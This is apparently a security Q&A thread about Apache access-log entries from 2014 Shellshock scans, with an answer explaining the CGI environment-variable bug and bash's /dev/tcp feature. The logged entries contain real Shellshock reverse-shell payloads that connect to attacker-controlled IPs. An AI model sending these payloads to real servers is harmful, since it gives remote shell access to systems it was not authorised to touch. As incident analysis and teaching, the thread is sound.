5

My server is obviously up to date and not vulnerable to shellshock exploits.

However I am still curious to know how the following shellshock scan work:

/var/log/apache2 # cat access.log | grep bash
209.126.230.72 - - [25/Sep/2014:00:52:03 +0000] "GET / HTTP/1.0" 200 11783 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
94.23.193.131 - - [26/Sep/2014:03:04:45 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/62.122.246.165/2333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:20:53 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:23:50 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:28:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:33:03 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:48:56 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:36:20 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:37:30 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:42:32 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

The log format is thus:

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\""

the last two fields being the referrer and the user-agent.

The first scan is friendly (see link) and places the exploit test in the user-agent string. Why?

The series of scan afterwards are obviously malicious and place the exploit test in the referrer. Why? What does the following command achieve?

() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'

Why the different IPs in the command?

Improve this question
2
  • 1
    Note that blog.erratasec.com/2014/09/… explicitly states that malware now uses the same test scan user-agent as his/hers. So the first scan is probably just social engineering to lull you into not reacting.
    – Steve Dodier-Lazaro
    Sep 27, 2014 at 11:22
  • 1
    @SteveDL Good point except that the IP listed in the log matches the one said to be used by erratasec.com in the linked post. He writes "I haven't run a scan now for over two days.", i.e. 2 days since the update today (the 27th), not since the date of the blog entry (the 24th). So the first entry is legitimate and friendly in my case.
    – augustin
    Sep 27, 2014 at 12:38

1 Answer 1

Reset to default
8

If / is rendered by a cgi script, that script would be called with the User-Agent in an environment variable called HTTP_USER_AGENT.

bash would look at all environment variables starting with () { to find function definitions and execute the function definition. In your example the function definition would then be: HTTP_USER_AGENT() { :;}

Due to the bug bash would continue processing with ; being the command separator, and /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' being another command, which did not just define a harmless function, but rather opened up your system to the attacker.

>& opens a file. /dev/tcp/ is special in that whenever bash would try to open a file with a name starting with that string, it actually opens a TCP socket instead. This is a feature of bash itself. It will not work if would be opened by another command, so for example would cat /dev/tcp/... not work.

0>&1 uses the socket previously opened for output for input as well.

bash -i starts an interactive bash shell with stdio connected to a TCP socket. Presumably 195.225.34.101 is the IP address of a host controlled by the attacker. Quite likely that is a server which the attacker compromised using the same vulnerability.

Using different IPs is probably just because the attacker want to be prepared in case some of the hosts he controls get taken down.

Improve this answer
4
  • /dev/tcp is a pseudo-filesystem provided by bash that permits scripts to use the Internet as if it were part of the computer's directory structure.
    – Mark
    Sep 27, 2014 at 11:01
  • @Mark /dev filesystem is exposed by kernel, not by bash, same as /proc
    – rkosegi
    Sep 27, 2014 at 11:16
  • 1
    @rkosegi /dev, /dev/tcp, and /proc work in three very different ways. /dev/tcp is a bash-only feature. To other programs /dev/tcp does not even exist.
    – kasperd
    Sep 27, 2014 at 12:09
  • Oh, you are correct, I take it back.
    – rkosegi
    Sep 27, 2014 at 12:20

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .